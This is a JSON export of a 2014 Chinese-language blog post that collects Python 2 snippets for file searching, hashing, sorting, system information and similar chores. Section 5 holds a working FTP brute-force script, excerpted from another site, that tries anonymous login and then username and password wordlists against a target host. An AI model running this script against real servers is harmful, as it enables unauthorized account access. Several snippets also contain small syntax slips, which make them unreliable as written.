{"id":1134,"date":"2014-08-31T15:25:19","date_gmt":"2014-08-31T15:25:19","guid":{"rendered":"http:\/\/ixyzero.com\/blog\/?p=1134"},"modified":"2014-08-31T15:25:19","modified_gmt":"2014-08-31T15:25:19","slug":"%e4%b8%80%e4%ba%9bpython%e7%89%87%e6%ae%b5_1","status":"publish","type":"post","link":"https:\/\/ixyzero.com\/blog\/archives\/1134.html","title":{"rendered":"\u4e00\u4e9bPython\u7247\u6bb5_1"},"content":{"rendered":"<h5>1.\u7528Python\u5728\u6587\u4ef6(\u5939)\u4e2d\u67e5\u627e\u6307\u5b9a\u5b57\u7b26\u4e32<\/h5>\n<h6>\u4ee3\u7801\u4e00\uff1a<\/h6>\n<pre class=\"lang:default decode:true \">#!\/usr\/bin\/env python\n# -*- coding: UTF-8 -*\nimport os, sys, re\nfindstr = ''\n\ndef func_findstr(filepath):\n    thefile = open(filepath, 'rb')\n    while True:\n        buffer = thefile.read(104857600)\n        if not buffer:\n            break\n        for match in re.findall('\\n.*' + findstr + '.*\\n', buffer):\n            print \"Found in \" + filepath + \" %s\" % match\n            print ''\n    thefile.close()\n\ndef func_walks(path):\n    for root, dirs, files in os.walk(path):\n        for f in files:\n            f = os.path.join(root, f)\n            func_findstr(f)\n\ndef filterstr(str):\n    str = str.replace('.', '\\.').replace('[', '\\[').replace(']', '\\]').replace('$', '\\$').replace('\\\\', '\\\\\\\\')\n    return str.replace('(', '\\(').replace(')', '\\)').replace('{', '\\{').replace('}', '\\}').replace('^', '\\^')\n\nif __name__ == '__main__':\n    if len(sys.argv)&gt;=4 and (sys.argv[1]=='-f' or sys.argv[1]=='-d'):\n        if sys.argv[1]=='-f' and os.path.isfile(sys.argv[2]):\n            findstr = filterstr(sys.argv[3])\n            func_findstr(sys.argv[2])\n        elif sys.argv[1]=='-d' and os.path.exists(sys.argv[2]):\n            findstr = filterstr(sys.argv[3])\n            func_walks(sys.argv[2])\n        else:\n            print '-- \u53c2\u6570\u9519\u8bef'\n    elif len(sys.argv)==2:\n        findstr = filterstr(sys.argv[1])\n        print func_walks(os.getcwd())\n    else:\n        print '-- \u53c2\u6570\u8bf4\u660e \uff1a'\n        print '    1. ' + sys.argv[0] + ' -f' + ' filename \"string\" t\u5728\u6307\u5b9a\u6587\u4ef6\u67e5\u627e\u5b57\u7b26'\n        print '    2. ' + sys.argv[0] + ' -d' + ' directory \"string\" t\u5728\u6307\u5b9a\u76ee\u5f55(\u5305\u62ec\u5b50\u76ee\u5f55)\u4e0b\u7684\u6240\u6709\u6587\u4ef6\u67e5\u627e\u5b57\u7b26\u4e32'\n        print '    3. ' + sys.argv[0] + ' \"string\" t\u5728\u5f53\u524d\u76ee\u5f55(\u5305\u62ec\u5b50\u76ee\u5f55)\u4e0b\u7684\u6240\u6709\u6587\u4ef6\u67e5\u627e\u5b57\u7b26\u4e32'<\/pre>\n<h6>\u4ee3\u7801\u4e8c\uff1a<\/h6>\n<pre class=\"lang:default decode:true\">#!\/usr\/bin\/env python\n#-*- coding: UTF-8 -*-\n\nimport os, sys\nlistonly = False\nskipexts = ['.gif', '.exe', '.pyc', '.o', '.a', '.dll', '.lib', '.pdb', '.mdb']\t# ignore binary files\n\ndef visitfile(fname, searchKey):\t# for each non-dir file\n    global fcount, vcount\n    try:\n        if not listonly:\n            if os.path.splitext(fname)[1] in skipexts:\n                pass\n            elif open(fname).read().find(searchKey) != -1:\n                print'%s has %s' % (fname, searchKey)\n                fcount += 1\n    except: pass\n    vcount += 1\n\ndef visitor(args, directoryName, filesInDirectory):\t# called for each dir\n    for fname in filesInDirectory:\n        fpath = os.path.join(directoryName, fname)\n        if not os.path.isdir(fpath):\n            visitfile(fpath, args)\n\ndef searcher(startdir, searchkey):\n    global fcount, vcount\n    fcount = vcount = 0\n    os.path.walk(startdir, visitor, searchkey)\n\nif __name__ == '__main__':\n    root=raw_input(\"type search directory:\")\n    key=raw_input(\"type search string:\")\n    searcher(root, key)\n    print 'Found in %d files, visited %d' % (fcount, vcount)<\/pre>\n<h5>2.\u8ba1\u7b97\u6307\u5b9a\u6587\u4ef6\u7684MD5\/SHA1\u503c<\/h5>\n<pre class=\"lang:default decode:true \">#!\/usr\/bin\/env python\n#-*- coding: UTF-8 -*-\n#\u7528 Python \u68c0\u6d4b\u6587\u4ef6\u7684MD5\u503c\n\nimport hashlib\nimport os, sys\n\n#\u7b80\u5355\u7684\u6d4b\u8bd5\u4e00\u4e2a\u5b57\u7b26\u4e32\u7684MD5\u503c\ndef GetStrMd5(src):\n    m0=hashlib.md5()\n    m0.update(src)\n    print m0.hexdigest()\n    pass\n\n#\u8ba1\u7b97\u5927\u6587\u4ef6\u7684MD5\u503c(\u5206\u5757\u8bfb\u53d6)\ndef GetFileMd5(filename):\n    if not os.path.isfile(filename):\n        return\n    myhash = hashlib.md5()\n    f = file(filename, 'rb')\n    while True:\n        b = f.read(8096)\n        if not b :\n            break\n        myhash.update(b)\n    f.close()\n    return myhash.hexdigest()\n\ndef CalcSha1(filepath):\n    with open(filepath, 'rb') as f:\n        sha1obj = hashlib.sha1()\n        sha1obj.update(f.read())\n        hash = sha1obj.hexdigest()\n        print(hash)\n        return hash\n\ndef CalcMD5(filepath):\n    with open(filepath, 'rb') as f:\n        md5obj = hashlib.md5()\n        md5obj.update(f.read())\n        hash = md5obj.hexdigest()\n        print(hash)\n        return hash\n\nif __name__ == \"__main__\":\n    if len(sys.argv)==2 :\n        hashfile = sys.argv[1]\n        if not os.path.exists(hashfile):\n            hashfile = os.path.join(os.path.dirname(__file__), hashfile)\n            if not os.path.exists(hashfile):\n                print(\"cannot found file\")\n            else:\n                CalcMD5(hashfile)\n        else:\n            CalcMD5(hashfile)\n            #raw_input(\"pause\")\n    else:\n        print(\"no filename\")<\/pre>\n<p>\u4e4b\u524d\u4e5f\u6709\u4e00\u4e2a\u53ef\u4ee5\u540c\u65f6\u6307\u5b9a\u591a\u4e2a\u6587\u4ef6\u7684Python\u811a\u672c\uff1a\u00a0<a title=\"\u8ba1\u7b97\u6587\u4ef6MD5\u503c\u7684\u5c0f\u811a\u672c\" href=\"http:\/\/ixyzero.com\/blog\/archives\/352.html\" target=\"_blank\">\u8ba1\u7b97\u6587\u4ef6MD5\u503c\u7684\u5c0f\u811a\u672c<\/a>\u00a0\u3002<\/p>\n<h5>3.\u81ea\u91cd\u542f\u811a\u672c<\/h5>\n<pre class=\"lang:default decode:true \">#!\/usr\/bin\/env python\n#-*- coding: UTF-8 -*-\n\nimport time, sys, os\n\ndef restart_program():\n    python = sys.executable\n    os.execl(python, python, * sys.argv)\n\nif __name__ == \"__main__\":\n    print 'start...'\n#   answer = raw_input(\"Do you want to restart this program ? \")\n#   if answer.strip() in \"y Y yes Yes YES\".split():\n#       restart_program()\n    print u\"3\u79d2\u540e,\u7a0b\u5e8f\u5c06\u7ed3\u675f...\".encode(\"gbk\")\n    time.sleep(3)\n    restart_program()<\/pre>\n<p>\u4e0d\u8fc7\u4e00\u822c\u5176\u5b9e\u662f\u5199\u4e2abash\u811a\u672c\u653e\u5728crontab\u4e2d\u5468\u671f\u6027\u68c0\u67e5\u4ee5\u8fbe\u5230\u670d\u52a1\u7a33\u5b9a\u7684\u76ee\u7684\u7684\u3002<\/p>\n<h5>4.\u5217\u8868\u53bb\u91cd\uff0c\u4e0d\u6253\u4e71\u539f\u6709\u987a\u5e8f<\/h5>\n<pre class=\"lang:default decode:true \">def test1():\n    a=[2,4,5,2,6,8,0,9,8,5]\n    list_test=[]\n    for i in a:\n        if i not in list_test:\n            list_test.append(i)\n\ndef test2():\n    a=[2,4,5,2,6,8,0,9,8,5]\n    list_test2=list(set(a))\n    list_test2.sort(key=a.index))<\/pre>\n<h5>5.FTP\u66b4\u529b\u7834\u89e3\u7684\u5355\u7ebf\u7a0b\u811a\u672c<\/h5>\n<pre class=\"lang:default decode:true \">#!\/usr\/bin\/env python\n# -*- coding: utf_8 -*-\n\nimport ftplib, socket, re, sys, time\n\ndef usage():\n    print '+' + '-' * 50 + '+'\n    print 't   Python FTP\u66b4\u529b\u7834\u89e3\u5de5\u5177\u5355\u7ebf\u7a0b\u7248'\n    print '+' + '-' * 50 + '+'\n    if len(sys.argv) != 4:\n        print \"\u7528\u6cd5: ftpbrute.py \u5f85\u7834\u89e3\u7684ip\/domain \u7528\u6237\u540d\u5217\u8868 \u5b57\u5178\u5217\u8868\"\n        print \"\u5b9e\u4f8b: ftpbrute.py 127.0.0.1 user.txt pass.txt\"\n        sys.exit()\n\ndef ftp_anon(host):\n    try:\n        print 'n[+] \u6d4b\u8bd5\u533f\u540d\u767b\u9646\u2026\u2026n'\n        ftp = ftplib.FTP()\n        ftp.connect(host, 21, 10)\n        ftp.login()\n        ftp.retrlines('LIST')\n        ftp.quit()\n        print 'n[+] \u533f\u540d\u767b\u9646\u6210\u529f\u2026\u2026'\n    except ftplib.all_errors:\n        print 'n[-] \u533f\u540d\u767b\u9646\u5931\u8d25\u2026\u2026'\n\ndef ftp_crack(host, user, pwd):\n    try:\n        ftp = ftplib.FTP()\n        ftp.connect(host, 21, 10)\n        ftp.login(user, pwd)\n        ftp.retrlines('LIST')\n        ftp.quit()\n        print 'n[+] \u7834\u89e3\u6210\u529f\uff0c\u7528\u6237\u540d\uff1a' + user + ' \u5bc6\u7801\uff1a' + pwd\n    except ftplib.all_errors:\n        pass\n\nif __name__ == '__main__':\n    start_time = time.time()\n    usage()\n    if re.match(r'd{1,3}.d{1,3}.d{1,3}.d{1,3}', sys.argv[1]):\n        host = sys.argv[1]\n    else:\n        host = socket.gethostbyname(sys.argv[1])\n    userlist = [x.rstrip() for x in open(sys.argv[2])]\n    passlist = [x.rstrip() for x in open(sys.argv[3])]\n    print '[+] Target:', host\n    print '[+] Userlist:', len(userlist)\n    print '[+] Passlist:', len(passlist)\n    ftp_anon(host)\n    print 'n[+] \u66b4\u529b\u7834\u89e3\u6d4b\u8bd5\u4e2d\u2026\u2026n'\n    for user in userlist:\n        for pwd in passlist:\n            ftp_crack(host, user, pwd)\n\n    print 'n[+] \u7834\u89e3\u5b8c\u6210\uff0c\u7528\u65f6\uff1a %d \u79d2' % (time.time() - start_time)<\/pre>\n<p>\u8bf4\u660e\uff1a\u4e0a\u9762\u8fd9\u4e2aFTP\u7684\u7206\u7834\u811a\u672c\u662f\u4ece\u201c<a href=\"http:\/\/www.waitalone.cn\/python-ftp-single.html\" target=\"_blank\">[Python] FTP\u66b4\u529b\u7834\u89e3\u5de5\u5177\u5355\u7ebf\u7a0b\u7248<\/a>\u201d\u6458\u5f55\u800c\u6765\uff0c\u56e0\u4e3a\u4e2a\u4eba\u4e0d\u592a\u559c\u6b22\u5728\u811a\u672c\u4e2d\u6dfb\u52a0\u4e00\u4e9b\u4e0d\u5fc5\u8981\u7684\u4fe1\u606f\uff0c\u6240\u4ee5\u5c31\u53bb\u6389\u4e86\u539f\u811a\u672c\u4e2d\u7684\u4e00\u4e9bprint\u5185\u5bb9\uff0c\u4f46\u6211\u4f1a\u5728\u6587\u4e2d\u7684\u76f8\u5e94\u5730\u65b9\u7ed9\u51fa\u8bf4\u660e\uff0c\u82e5\u6709\u4e0d\u59a5\u53ef\u4ee5\u8054\u7cfb\u6211\u5220\u9664\u3002<\/p>\n<h5>6.\u4e00\u4e9b\u5178\u578b\u7684\u6392\u5e8f\u7b97\u6cd5<\/h5>\n<pre class=\"lang:default decode:true \">#!\/usr\/bin\/env python\n# coding = utf-8\nimport sys, getopt, random\n\ndef bubble_sort(seq):\n    for i in range(len(seq)):\n        for j in range(1, len(seq)):\n            if seq[j-1]&gt;seq[j]:\n                seq[j-1], seq[j] = seq[j], seq[j-1]\n    return seq\n\ndef insertion_sort(seq):\n    for i in range(1, len(seq)):\n        tmp = seq[i]\n        pos = i;\n        for j in range(i-1, -1, -1):\n            if seq[j]&gt;tmp:\n                seq[j+1] = seq[j]\n                pos = j\n        seq[pos] = tmp\n    return seq\n\ndef selection_sort(seq):\n    for i in range(len(seq)):\n        min_index = i;\n        for j in range(i, len(seq)):\n            if seq[j]&lt;seq[min_index]:\n                min_index = j\n        seq[i], seq[min_index] = seq[min_index], seq[i]\n    return seq\n\ndef partition(seq, p, l, r):\n    pivot = seq[p]\n    seq[p], seq[r] = seq[r], seq[p]\n    p_pos = l\n    for i in range(l, r):\n        if seq[i] &lt;= pivot:\n            seq[i], seq[p_pos] = seq[p_pos], seq[i]\n            p_pos = p_pos+1\n    seq[p_pos], seq[r] = seq[r], seq[p_pos]\n    return p_pos\n\ndef quick_sort(seq, left, right):\n    if left &lt; right:\n        pivot = random.randint(left, right)\n        mid = partition(seq, pivot, left, right)\n        quick_sort(seq, left, mid-1)\n        quick_sort(seq, mid+1, right)\n    return seq\n\ndef shell_sort(seq):\n    incr = len(seq)\/2\n    while(incr &gt;= 1):\n        for i in range(incr, len(seq)):\n            tmp = seq[i]\n            pos = i;\n            for j in range(i-incr, -1, -incr):\n                if seq[j]&gt;tmp:\n                    seq[j+incr] = seq[j]\n                    pos = j\n            seq[pos] = tmp\n        incr = incr\/2\n    return seq\n\ndef usage():\n    print 'Usage: python sort.py sorttype[-q|-i|-b|-s|--shell] sequence'\n    print 'Example: python sort.py -q 11, 32, 3, 24, 5'\n\ndef main():\n    try:\n        if(len(sys.argv) == 1) or (len(sys.argv)! = 3):\n            raise Exception()\n        else:\n            opts, args = getopt.getopt(sys.argv[1:], 'qibs', ['shell'])\n\n            if len(args)&gt;0:\n                seq = []\n                tmp = args[0].split(', ')\n                for i in tmp:\n                    seq.append(int(i))\n            else:\n                raise Exception()\n\n            for opt in opts:\n                if opt[0] == '-q':\n                    print quick_sort(seq, 0, len(seq)-1)\n                elif opt[0] == '-i':\n                    print insertion_sort(seq)\n                elif opt[0] == '-b':\n                    print bubble_sort(seq)\n                elif opt[0] == '-s':\n                    print selection_sort(seq)\n                elif opt[0] == '--shell':\n                    print shell_sort(seq)\n\n    except Exception, e:\n        usage()\n        print e\n        sys.exit()\n\nif __name__ == \"__main__\":\n    main()<\/pre>\n<h5>7.\u5217\u51fa\u6307\u5b9a\u6587\u4ef6\u5939\u4e2d\u5404\u6587\u4ef6(\u4ec5\u9650\u6587\u672c\u6587\u4ef6)\u7684\u884c\u6570<\/h5>\n<pre class=\"lang:default decode:true \">#!\/usr\/bin\/env python\n# coding=utf-8\n\nimport os\nimport fileinput\ndest=\"\/root\/log_backup\"\nfor root, dirs, filename in os.walk(dest):\n    for file in filename:\n        f = os.path.join(root, file)\n        for each in fileinput.input(f):\n            pass\n        print \"filename:%s  filenumber:%s\" % (fileinput.filename(), fileinput.lineno())<\/pre>\n<h5>8.\u7528wmi\u6a21\u5757\u68c0\u6d4bWindows\u7cfb\u7edf\u4fe1\u606f<\/h5>\n<pre class=\"lang:default decode:true \">#!\/usr\/bin\/env python\n# -*- coding: utf-8 -*-\n\nimport wmi\nimport sys, time, platform\n\ndef get_system_info(os):\n    print \"Operating system:\"\n    if os == \"Windows\":\n        c = wmi.WMI()\n        for sys in c.Win32_OperatingSystem():\n            print 't' + \"Version :t%s\" % sys.Caption.encode(\"GBK\")\n            print 't' + \"Vernum :t%s\" % sys.BuildNumber\n\ndef get_memory_info(os):\n    print \"memory_info:\"\n    if os == \"Windows\":\n        c = wmi.WMI()\n        cs = c.Win32_ComputerSystem()\n        pfu = c.Win32_PageFileUsage()\n        MemTotal = int(cs[0].TotalPhysicalMemory)\/1024\/1024\n        print 't' + \"TotalPhysicalMemory :\" + 't' + str(MemTotal) + \"M\"\n        #tmpdict[\"MemFree\"] = int(os[0].FreePhysicalMemory)\/1024\n        SwapTotal = int(pfu[0].AllocatedBaseSize)\n        print 't' + \"SwapTotal :\" + 't' + str(SwapTotal) + \"M\"\n        #tmpdict[\"SwapFree\"] = int(pfu[0].AllocatedBaseSize - pfu[0].CurrentUsage)\n\ndef get_disk_info(os):\n    print \"disk_info:\"\n    if os == \"Windows\":\n        tmplist = []\n        c = wmi.WMI()\n        for physical_disk in c.Win32_DiskDrive():\n            if physical_disk.Size:\n                print 't' + str(physical_disk.Caption) + ' :t' + str(long(physical_disk.Size)\/1024\/1024\/1024) + \"G\"\n\ndef get_cpu_info(os):\n    print \"cpu_info:\"\n    if os == \"Windows\":\n        tmpdict = {}\n        tmpdict[\"CpuCores\"] = 0\n        c = wmi.WMI()\n        for cpu in c.Win32_Processor():\n            tmpdict[\"CpuType\"] = cpu.Name\n        try:\n            tmpdict[\"CpuCores\"] = cpu.NumberOfCores\n        except:\n            tmpdict[\"CpuCores\"] += 1\n            tmpdict[\"CpuClock\"] = cpu.MaxClockSpeed\n        print 't' + 'CpuType :t' + str(tmpdict[\"CpuType\"])\n        print 't' + 'CpuCores :t' + str(tmpdict[\"CpuCores\"])\n\ndef get_network_info(os):\n    print \"network_info:\"\n    if os == \"Windows\":\n        tmplist = []\n        c = wmi.WMI()\n        for interface in c.Win32_NetworkAdapterConfiguration (IPEnabled=1):\n                tmpdict = {}\n                tmpdict[\"Description\"] = interface.Description\n                tmpdict[\"IPAddress\"] = interface.IPAddress[0]\n                tmpdict[\"IPSubnet\"] = interface.IPSubnet[0]\n                tmpdict[\"MAC\"] = interface.MACAddress\n                tmplist.append(tmpdict)\n        for i in tmplist:\n            print 't' + i[\"Description\"]\n            print 't' + 't' + \"MAC :\" + 't' + i[\"MAC\"]\n            print 't' + 't' + \"IPAddress :\" + 't' + i[\"IPAddress\"]\n            print 't' + 't' + \"IPSubnet :\" + 't' + i[\"IPSubnet\"]\n        for interfacePerfTCP in c.Win32_PerfRawData_Tcpip_TCPv4():\n                print 't' + 'TCP Connect :t' + str(interfacePerfTCP.ConnectionsEstablished)\n\nif __name__ == \"__main__\":\n    os = platform.system()\n    get_system_info(os)\n    get_memory_info(os)\n    get_disk_info(os)\n    get_cpu_info(os)\n    get_network_info(os)<\/pre>\n<p>\u9700\u8981\u5b89\u88c5pywin32\/wmi\u6a21\u5757\uff0c\u53ef\u4ee5\u4f7f\u7528pip\u8fdb\u884c\u5feb\u901f\u5b89\u88c5\uff0c\u4e5f\u53ef\u4ee5\u4f7f\u7528\u5df2\u7ecf\u7f16\u8bd1\u597d\u7684exe\u7a0b\u5e8f\u8fdb\u884c\u5b89\u88c5\uff0c\u4e0b\u8f7d\u94fe\u63a5\uff1a<a href=\"http:\/\/www.lfd.uci.edu\/~gohlke\/pythonlibs\/\" target=\"_blank\">Python Extension Packages for Windows &#8211; Christoph Gohlke<\/a><\/p>\n<p>&nbsp;<\/p>\n<p>\u5f85\u7eed\u2026\u2026<\/p>\n","protected":false},"excerpt":{"rendered":"<p>1.\u7528Python\u5728\u6587\u4ef6(\u5939)\u4e2d\u67e5\u627e\u6307\u5b9a\u5b57\u7b26\u4e32 \u4ee3\u7801\u4e00\uff1a #!\/usr\/bin\/env python # -* [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7,12],"tags":[8],"class_list":["post-1134","post","type-post","status-publish","format-standard","hentry","category-programing","category-tools","tag-python"],"views":2135,"_links":{"self":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts\/1134","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/comments?post=1134"}],"version-history":[{"count":0,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts\/1134\/revisions"}],"wp:attachment":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/media?parent=1134"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/categories?post=1134"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/tags?post=1134"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}